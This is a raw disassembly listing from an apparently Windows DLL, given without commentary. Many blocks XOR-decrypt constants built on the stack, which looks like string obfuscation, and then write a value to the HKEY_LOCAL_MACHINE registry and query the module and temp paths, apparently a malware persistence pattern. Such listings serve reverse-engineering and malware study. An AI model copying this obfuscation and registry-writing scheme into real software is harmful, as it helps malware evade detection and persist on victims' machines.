mov byte [rbp + 0x80], al
movabs rax, 0xff2e75fbcbdf3d85
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x10a0], rax
movabs rax, 0x379ccbf867281882
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x10a8], rax
mov qword [rbp + 8], r12
mov rax, qword [rbp + 8]
mov qword [rbp + 0x10b0], rax
mov qword [rbp + 8], r14
mov rax, qword [rbp + 8]
mov qword [rbp + 0x10b8], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0xc020], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0xc028], rax
mov qword [rbp + 8], r12
mov rax, qword [rbp + 8]
mov qword [rbp + 0xc030], rax
mov qword [rbp + 8], r14
mov rax, qword [rbp + 8]
mov qword [rbp + 0xc038], rax
vmovdqu ymm0, ymmword [rbp + 0x10a0]
vpxor ymm1, ymm0, ymmword [rbp + 0xc020]
vmovdqa ymmword [rbp + 0x10a0], ymm1
lea rdx, [rbp + 0x10a0]
lea rcx, [rbp + 0x36b0]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x36b0]
lea rcx, [rbp + 0x5950]
call fcn.1800553f0
nop
mov r8, rax
lea rdx, [rbp + 0xab38]
lea rcx, [rbp + 0xab18]
call fcn.180041ee0
nop
lea rcx, [rbp + 0x5950]
call fcn.180040870
nop
lea rcx, [rbp + 0x36b0]
call fcn.180040870
xor eax, eax
mov byte [rbp + 0x81], al
mov byte [rbp + 0x82], al
movabs rax, 0xbc3d4cd4fce93091
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x10c0], rax
movabs rax, 0x2aa1e5d1751242af
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x10c8], rax
movabs rax, 0xc66d9b44623ae115
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x10d0], rax
mov qword [rbp + 8], r14
mov rax, qword [rbp + 8]
mov qword [rbp + 0x10d8], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0xc040], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0xc048], rax
mov qword [rbp + 8], r12
mov rax, qword [rbp + 8]
mov qword [rbp + 0xc050], rax
mov qword [rbp + 8], r14
mov rax, qword [rbp + 8]
mov qword [rbp + 0xc058], rax
vmovdqu ymm0, ymmword [rbp + 0x10c0]
vpxor ymm1, ymm0, ymmword [rbp + 0xc040]
vmovdqa ymmword [rbp + 0x10c0], ymm1
lea rdx, [rbp + 0x10c0]
lea rcx, [rbp + 0x3670]
vzeroupper
call fcn.180004520
nop
xor eax, eax
mov byte [rbp + 0x83], al
mov byte [rbp + 0x84], al
movabs rax, 0xe5142acccaf147bf
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2860], rax
movabs rax, 0x3880c8c967126c84
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2868], rax
movabs rax, 0x900dfe436836cf0e
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2870], rax
movabs rax, 0xca22c72f9e4033ca
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2878], rax
movabs rax, 0x3baf30ed66078a74
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2880], rax
mov qword [rbp + 8], r13
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2888], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0xb400], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0xb408], rax
mov qword [rbp + 8], r12
mov rax, qword [rbp + 8]
mov qword [rbp + 0xb410], rax
mov qword [rbp + 8], r14
mov rax, qword [rbp + 8]
mov qword [rbp + 0xb418], rax
movabs rax, 0x3baf30ed0152cd11
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xb420], rax
mov qword [rbp + 8], r13
mov rax, qword [rbp + 8]
mov qword [rbp + 0xb428], rax
vmovdqu ymm0, ymmword [rbp + 0x2860]
vpxor ymm1, ymm0, ymmword [rbp + 0xb400]
vmovdqa ymmword [rbp + 0x2860], ymm1
vmovdqa xmm0, xmmword [rbp + 0x2880]
vpxor xmm0, xmm0, xmmword [rbp + 0xb420]
vmovdqa xmmword [rbp + 0x2880], xmm0
lea rdx, [rbp + 0x2860]
lea rcx, [rbp + 0x3690]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x3670]
lea rcx, [rbp + 0x59b0]
call fcn.1800553f0
mov rbx, rax
lea rdx, [rbp + 0x3690]
lea rcx, [rbp + 0x5990]
call fcn.1800553f0
nop
lea r8, [rbp + 0xa550]
mov rdx, rax
lea rcx, [rbp + 0x5970]
call fcn.180041f40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0xaaf8]
call fcn.180041fa0
nop
lea rcx, [rbp + 0x5970]
call fcn.180040870
nop
lea rcx, [rbp + 0x5990]
call fcn.180040870
nop
lea rcx, [rbp + 0x59b0]
call fcn.180040870
nop
lea rcx, [rbp + 0x3690]
call fcn.180040870
nop
lea rcx, [rbp + 0x3670]
call fcn.180040870
xor eax, eax
mov byte [rbp + 0x85], al
mov byte [rbp + 0x86], al
movabs rax, 0xcb185ecffc824588
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x23e0], rax
movabs rax, 0x27baf1c8713340b3
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x23e8], rax
movabs rax, 0xcb629b456b45e124
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x23f0], rax
movabs rax, 0xd045c300945332f0
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x23f8], rax
movabs rax, 0x42f903bc621cfe75
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2400], rax
movabs rax, 0x78781564a7f12b09
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2408], rax
movabs rax, 0x8ae881d9a3febc68
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2410], rax
movabs rax, 0x284ee4f6989d9b79
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2418], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0xd1c0], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0xd1c8], rax
mov qword [rbp + 8], r12
mov rax, qword [rbp + 8]
mov qword [rbp + 0xd1d0], rax
mov qword [rbp + 8], r14
mov rax, qword [rbp + 8]
mov qword [rbp + 0xd1d8], rax
movabs rbx, 0x3baf30ed0152cd11
mov qword [rbp + 8], rbx
mov rax, qword [rbp + 8]
mov qword [rbp + 0xd1e0], rax
mov qword [rbp + 8], r13
mov rax, qword [rbp + 8]
mov qword [rbp + 0xd1e8], rax
movabs rax, 0xe9ddb3bbd3b0d20b
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xd1f0], rax
movabs rax, 0x284ee4f6edcbf52c
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xd1f8], rax
vmovdqu ymm0, ymmword [rbp + 0x23e0]
vpxor ymm1, ymm0, ymmword [rbp + 0xd1c0]
vmovdqa ymmword [rbp + 0x23e0], ymm1
vmovdqu ymm0, ymmword [rbp + 0x2400]
vpxor ymm1, ymm0, ymmword [rbp + 0xd1e0]
vmovdqa ymmword [rbp + 0x2400], ymm1
lea rdx, [rbp + 0x23e0]
lea rcx, [rbp + 0x3650]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x3650]
lea rcx, [rbp + 0x59d0]
call fcn.1800553f0
mov rcx, rax
call fcn.18003dd10
mov rsi, rax
lea rcx, [rbp + 0x59d0]
call fcn.180040870
nop
lea rcx, [rbp + 0x3650]
call fcn.180040870
xor eax, eax
mov byte [rbp + 0x87], al
mov byte [rbp + 0x88], al
movabs rax, 0xf32a50d0d7d71889
mov qword [rbp + 8], rax
mov rcx, qword [rbp + 8]
mov qword [rbp + 0x28a0], rcx
movabs rax, 0x7d94cffd7a017382
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x28a8], rax
movabs rax, 0xcb76f1426b3ef525
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x28b0], rax
movabs rax, 0x9b2ac92f9e0723f2
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x28b8], rax
mov qword [rbp + 8], rbx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x28c0], rax
mov qword [rbp + 8], r13
mov rax, qword [rbp + 8]
mov qword [rbp + 0x28c8], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0xb440], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0xb448], rax
mov qword [rbp + 8], r12
mov rax, qword [rbp + 8]
mov qword [rbp + 0xb450], rax
mov qword [rbp + 8], r14
mov rax, qword [rbp + 8]
mov qword [rbp + 0xb458], rax
mov qword [rbp + 8], rbx
mov rax, qword [rbp + 8]
mov qword [rbp + 0xb460], rax
mov qword [rbp + 8], r13
mov rax, qword [rbp + 8]
mov qword [rbp + 0xb468], rax
vmovdqu ymm0, ymmword [rbp + 0x28a0]
vpxor ymm1, ymm0, ymmword [rbp + 0xb440]
vmovdqa ymmword [rbp + 0x28a0], ymm1
vmovdqa xmm0, xmmword [rbp + 0x28c0]
vpxor xmm0, xmm0, xmmword [rbp + 0xb460]
vmovdqa xmmword [rbp + 0x28c0], xmm0
lea rdx, [rbp + 0x28a0]
lea rcx, [rbp + 0x3630]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x3630]
lea rcx, [rbp + 0x59f0]
call fcn.1800553f0
mov rcx, rax
call fcn.18003dd10
mov r13, rax
lea rcx, [rbp + 0x59f0]
call fcn.180040870
nop
lea rcx, [rbp + 0x3630]
call fcn.180040870
xor eax, eax
mov byte [rbp + 0x89], al
mov byte [rbp + 0x8a], al
movabs rax, 0xfe3972cbfec31c94
mov qword [rbp + 8], rax
mov rcx, qword [rbp + 8]
mov qword [rbp + 0x5a0], rcx
movabs rax, 0x4dd6a69c2f587aa9
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x5a8], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0xad20], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0xad28], rax
movdqa xmm0, xmmword [rbp + 0x5a0]
pxor xmm0, xmmword [rbp + 0xad20]
movdqa xmmword [rbp + 0x5a0], xmm0
lea rdx, [rbp + 0x5a0]
lea rcx, [rbp + 0x35f0]
call fcn.180004520
nop
xor eax, eax
mov byte [rbp + 0x8b], al
mov byte [rbp + 0x8c], al
movabs rax, 0xfc102acfd8cb0f8c
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2820], rax
movabs rax, 0x19ae97ff215c6cbc
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2828], rax
movabs rax, 0x8108fe7d2132d422
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2830], rax
movabs rax, 0xcd22f9069d4f18e5
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2838], rax
movabs rax, 0x52ee59a07b258a73
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2840], rax
movabs rcx, 0x14225300d2a7466a
mov qword [rbp + 8], rcx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2848], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0xb480], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0xb488], rax
mov qword [rbp + 8], r12
mov rax, qword [rbp + 8]
mov qword [rbp + 0xb490], rax
mov qword [rbp + 8], r14
mov rax, qword [rbp + 8]
mov qword [rbp + 0xb498], rax
mov qword [rbp + 8], rbx
mov rax, qword [rbp + 8]
mov qword [rbp + 0xb4a0], rax
mov qword [rbp + 8], rcx
mov rax, qword [rbp + 8]
mov qword [rbp + 0xb4a8], rax
vmovdqu ymm0, ymmword [rbp + 0x2820]
vpxor ymm1, ymm0, ymmword [rbp + 0xb480]
vmovdqa ymmword [rbp + 0x2820], ymm1
vmovdqa xmm0, xmmword [rbp + 0x2840]
vpxor xmm0, xmm0, xmmword [rbp + 0xb4a0]
vmovdqa xmmword [rbp + 0x2840], xmm0
lea rdx, [rbp + 0x2820]
lea rcx, [rbp + 0x3610]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x35f0]
lea rcx, [rbp + 0x5a50]
call fcn.1800553f0
mov rbx, rax
lea rdx, [rbp + 0x3610]
lea rcx, [rbp + 0x5a30]
call fcn.1800553f0
nop
lea r8, [rbp + 0xa550]
mov rdx, rax
lea rcx, [rbp + 0x5a10]
call fcn.180041f40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0xaa58]
call fcn.180041fa0
nop
lea rcx, [rbp + 0x5a10]
call fcn.180040870
nop
lea rcx, [rbp + 0x5a30]
call fcn.180040870
nop
lea rcx, [rbp + 0x5a50]
call fcn.180040870
nop
lea rcx, [rbp + 0x3610]
call fcn.180040870
nop
lea rcx, [rbp + 0x35f0]
call fcn.180040870
lea rcx, [rbp + 0xaa58]
call fcn.18003dd10
mov rbx, rax
lea rax, [rbp + 0xa308]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
mov rdx, rsi
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov rcx, 0xffffffffffffffff
nop
inc rcx
cmp byte [rbx + rcx], 0
jne 0x180028b00
inc ecx
mov dword [rsp + 0x28], ecx
mov qword [rsp + 0x20], rbx
mov r9d, 1
xor r8d, r8d
mov rdx, r13
mov rcx, qword [rbp + 0xa308]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rbp + 0xa308]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov qword [rbp + 0xa300], 0
lea r8, [rbp + 0xa300]
lea rdx, [fcn.180025950]
mov ecx, 6
call qword [sym.imp.KERNEL32.dll_GetModuleHandleExA]
mov rcx, qword [rbp + 0xa300]
test rcx, rcx
je 0x180028bcb
mov r8d, 0x104
lea rdx, [rbp + 0xd940]
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rdx, [rbp + 0xd940]
lea rcx, [rbp + 0x35d0]
call fcn.180004520
nop
lea rdx, [rbp + 0xa550]
lea rcx, [rbp + 0x35d0]
call fcn.18001fc50
movzx ebx, al
lea rcx, [rbp + 0x35d0]
call fcn.180040870
test bl, bl
je 0x180028bcb
lea rdx, [rbp + 0xaaf8]
lea rcx, [rbp + 0xab18]
call fcn.18001fcb0
nop
lea rcx, [rbp + 0xaa58]
call fcn.180040870
nop
lea rcx, [rbp + 0xaaf8]
call fcn.180040870
nop
lea rcx, [rbp + 0xab18]
call fcn.180040870
nop
lea rcx, [rbp + 0xab38]
call fcn.180040870
nop
lea rcx, [rbp + 0xa738]
call fcn.180002130
nop
lea rcx, [rbp + 0xa550]
call fcn.180040870
nop
lea rcx, [rbp + 0xac38]
call fcn.180040870
movzx esi, byte [rbp + 0x1d]
movabs r13, 0x14225300d2a7466a
lea rdx, [rbp + 0xd720]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
mov dword [rbp + 0x308], eax
dec eax
cmp eax, 0x102
ja 0x18002b96b
call fcn.180004e10
test sil, sil
je 0x18002aa2a
call fcn.180004e10
xor eax, eax
mov byte [rbp + 0x8d], al
mov byte [rbp + 0x8e], al
movabs rax, 0xe14973fad7f52d8b
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x5b0], rax
movabs rax, 0x4dd6a69c2f307c84
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x5b8], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0xad10], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0xad18], rax
movdqa xmm0, xmmword [rbp + 0x5b0]
pxor xmm0, xmmword [rbp + 0xad10]
movdqa xmmword [rbp + 0x5b0], xmm0
lea rdx, [rbp + 0x5b0]
lea rcx, [rbp + 0x3590]
call fcn.180004520
nop
lea rdx, [rbp + 0x3590]
lea rcx, [rbp + 0x5a70]
call fcn.1800553f0
nop
mov rcx, rax
call fcn.18003dd10
mov rdx, rax
lea rcx, [rbp + 0x35b0]
call fcn.180004520
nop
lea rdx, [rbp + 0x35b0]
lea rcx, [rbp + 0xaab8]
call fcn.180007160
nop
lea rcx, [rbp + 0x35b0]
call fcn.180040870
nop
lea rcx, [rbp + 0x5a70]
call fcn.180040870
nop
lea rcx, [rbp + 0x3590]
call fcn.180040870
xor eax, eax
mov byte [rbp + 0x8f], al
mov byte [rbp + 0x90], al
movabs rax, 0xdc2a5eccf582458c
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x10e0], rax
movabs rax, 0xbe7f3cd5d2f7db4
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x10e8], rax
mov qword [rbp + 8], r12
mov rax, qword [rbp + 8]
mov qword [rbp + 0x10f0], rax
mov qword [rbp + 8], r14
mov rax, qword [rbp + 8]
mov qword [rbp + 0x10f8], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0xc060], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0xc068], rax
mov qword [rbp + 8], r12
mov rax, qword [rbp + 8]
mov qword [rbp + 0xc070], rax
mov qword [rbp + 8], r14
mov rax, qword [rbp + 8]
mov qword [rbp + 0xc078], rax
vmovdqu ymm0, ymmword [rbp + 0xc060]
vpxor ymm1, ymm0, ymmword [rbp + 0x10e0]
vmovdqa ymmword [rbp + 0x10e0], ymm1
lea rdx, [rbp + 0x10e0]
lea rcx, [rbp + 0x3550]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x3550]
lea rcx, [rbp + 0x5a90]
call fcn.1800553f0
nop
mov rcx, rax
call fcn.18003dd10
mov rdx, rax
lea rcx, [rbp + 0x3570]
call fcn.180004520
nop
lea rdx, [rbp + 0x3570]
lea rcx, [rbp + 0xac58]
call fcn.180007160
nop
lea rcx, [rbp + 0x3570]
call fcn.180040870
nop
lea rcx, [rbp + 0x5a90]
call fcn.180040870
nop
lea rcx, [rbp + 0x3550]
call fcn.180040870
xor eax, eax
mov byte [rbp + 0x91], al
mov byte [rbp + 0x92], al
movabs rax, 0xd34d2af8d2d33385
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1100], rax
movabs rax, 0x37a6cbd048157c87
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1108], rax
movabs rax, 0xfb38a9272c48be25
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1110], rax
mov qword [rbp + 8], r14
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1118], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0xc080], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0xc088], rax
mov qword [rbp + 8], r12
mov rax, qword [rbp + 8]
mov qword [rbp + 0xc090], rax
mov qword [rbp + 8], r14
mov rax, qword [rbp + 8]
mov qword [rbp + 0xc098], rax
vmovdqu ymm0, ymmword [rbp + 0xc080]
vpxor ymm1, ymm0, ymmword [rbp + 0x1100]
vmovdqa ymmword [rbp + 0x1100], ymm1
lea rdx, [rbp + 0x1100]
lea rcx, [rbp + 0x3530]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x3530]
lea rcx, [rbp + 0x5ab0]
call fcn.1800553f0
nop
mov rcx, rax
call fcn.18003dd10
mov rdx, rax
lea rcx, [rbp + 0xa510]
call fcn.180004520
nop
lea rcx, [rbp + 0x5ab0]
call fcn.180040870
nop
lea rcx, [rbp + 0x3530]
call fcn.180040870
call fcn.180004e10
xor eax, eax
mov byte [rbp + 0x93], al
mov byte [rbp + 0x94], al
movabs rax, 0xb44159d08dfa238e
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x5c0], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x5c8], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0xb110], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0xb118], rax
movdqa xmm0, xmmword [rbp + 0x5c0]
pxor xmm0, xmmword [rbp + 0xb110]
movdqa xmmword [rbp + 0x5c0], xmm0
lea rdx, [rbp + 0x5c0]
lea rcx, [rbp + 0x32f0]
call fcn.180004520
nop
xor eax, eax
mov byte [rbp + 0x95], al
mov byte [rbp + 0x96], al
mov byte [rbp + 0x97], al
mov byte [rbp + 0x98], al
movabs rax, 0xb44159cbf1ed238b
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x5d0], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x5d8], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0xb100], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0xb108], rax
movdqa xmm0, xmmword [rbp + 0x5d0]
pxor xmm0, xmmword [rbp + 0xb100]
movdqa xmmword [rbp + 0x5d0], xmm0
lea rdx, [rbp + 0x5d0]
lea rcx, [rbp + 0x3310]
call fcn.180004520
nop
xor eax, eax
mov byte [rbp + 0x99], al
mov byte [rbp + 0x9a], al
movabs rsi, 0xe33e61c0cb8a47b9
mov qword [rbp + 8], rsi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2920], rax
movabs rax, 0x7c8494fe6b271885
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2928], rax
movabs rax, 0xcb6e9b7d762dbf1e
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2930], rax
movabs rax, 0x9b46f903d5613ce1
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2938], rax
movabs rbx, 0x3baf30ed0152cd11
mov qword [rbp + 8], rbx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2940], rax
mov qword [rbp + 8], r13
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2948], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0xb4c0], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0xb4c8], rax
mov qword [rbp + 8], r12
mov rax, qword [rbp + 8]
mov qword [rbp + 0xb4d0], rax
mov qword [rbp + 8], r14
mov rax, qword [rbp + 8]
mov qword [rbp + 0xb4d8], rax
mov qword [rbp + 8], rbx
mov rax, qword [rbp + 8]
mov qword [rbp + 0xb4e0], rax
mov qword [rbp + 8], r13
mov rax, qword [rbp + 8]
mov qword [rbp + 0xb4e8], rax
vmovdqu ymm0, ymmword [rbp + 0xb4c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x2920]
vmovdqa ymmword [rbp + 0x2920], ymm1
vmovdqa xmm2, xmmword [rbp + 0x2940]
vpxor xmm2, xmm2, xmmword [rbp + 0xb4e0]
vmovdqa xmmword [rbp + 0x2940], xmm2
lea rdx, [rbp + 0x2920]
lea rcx, [rbp + 0x3330]
vzeroupper
call fcn.180004520
nop
xor eax, eax
mov byte [rbp + 0x9b], al
mov byte [rbp + 0x9c], al
movabs rax, 0xee135ccbf1ed238b
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x5e0], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x5e8], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0xb3f0], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0xb3f8], rax
movdqa xmm0, xmmword [rbp + 0x5e0]
pxor xmm0, xmmword [rbp + 0xb3f0]
movdqa xmmword [rbp + 0x5e0], xmm0
lea rdx, [rbp + 0x5e0]
lea rcx, [rbp + 0x3350]
call fcn.180004520
nop
xor eax, eax
mov byte [rbp + 0x9d], al
mov byte [rbp + 0x9e], al
mov byte [rbp + 0x9f], al
mov byte [rbp + 0xa0], al
movabs rax, 0xd8044fc08b82328b
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1120], rax
movabs rax, 0x2598f1fd68096387
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1128], rax
movabs rax, 0x8201fe457d4dc925
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1130], rax
movabs rax, 0xa617ae62d90a25cd
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1138], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0xc0a0], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0xc0a8], rax
mov qword [rbp + 8], r12
mov rax, qword [rbp + 8]
mov qword [rbp + 0xc0b0], rax
mov qword [rbp + 8], r14
mov rax, qword [rbp + 8]
mov qword [rbp + 0xc0b8], rax
vmovdqu ymm0, ymmword [rbp + 0xc0a0]
vpxor ymm1, ymm0, ymmword [rbp + 0x1120]
vmovdqa ymmword [rbp + 0x1120], ymm1
lea rdx, [rbp + 0x1120]
lea rcx, [rbp + 0x3370]
vzeroupper
call fcn.180004520
nop
xor eax, eax
mov byte [rbp + 0xa1], al
mov byte [rbp + 0xa2], al
mov qword [rbp + 8], rsi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2420], rax
movabs rax, 0x2184fef865541984
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2428], rax
movabs rax, 0x976a9a442432e224
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2430], rax
movabs rax, 0xc146f6388a7527ca
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2438], rax
movabs rax, 0x4cd767b4316b8a75
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2440], rax
movabs rax, 0x7c6c0461a8cb0e0b
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2448], rax
movabs rax, 0x90e4e4d9bf819569
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2450], rax
movabs rax, 0x284ee4f6d0f6a449
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2458], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0xd200], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0xd208], rax
mov qword [rbp + 8], r12
mov rax, qword [rbp + 8]
mov qword [rbp + 0xd210], rax
mov qword [rbp + 8], r14
mov rax, qword [rbp + 8]
mov qword [rbp + 0xd218], rax
mov qword [rbp + 8], rbx
mov rax, qword [rbp + 8]
mov qword [rbp + 0xd220], rax
mov qword [rbp + 8], r13
mov rax, qword [rbp + 8]
mov qword [rbp + 0xd228], rax
movabs rax, 0xe9ddb3bbd3b0d20b
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xd230], rax
movabs rsi, 0x284ee4f6edcbf52c
mov qword [rbp + 8], rsi
mov rax, qword [rbp + 8]
mov qword [rbp + 0xd238], rax
vmovdqu ymm0, ymmword [rbp + 0xd200]
vpxor ymm1, ymm0, ymmword [rbp + 0x2420]
vmovdqa ymmword [rbp + 0x2420], ymm1
vmovdqu ymm0, ymmword [rbp + 0x2440]
vpxor ymm1, ymm0, ymmword [rbp + 0xd220]
vmovdqa ymmword [rbp + 0x2440], ymm1
lea rdx, [rbp + 0x2420]
lea rcx, [rbp + 0x3390]
vzeroupper
call fcn.180004520
nop
xor eax, eax
mov byte [rbp + 0xa3], al
mov byte [rbp + 0xa4], al
movabs rax, 0xb43d71d6f5fd1e88
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x5f0], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x5f8], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0xb3e0], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0xb3e8], rax
movdqa xmm0, xmmword [rbp + 0x5f0]
pxor xmm0, xmmword [rbp + 0xb3e0]
movdqa xmmword [rbp + 0x5f0], xmm0
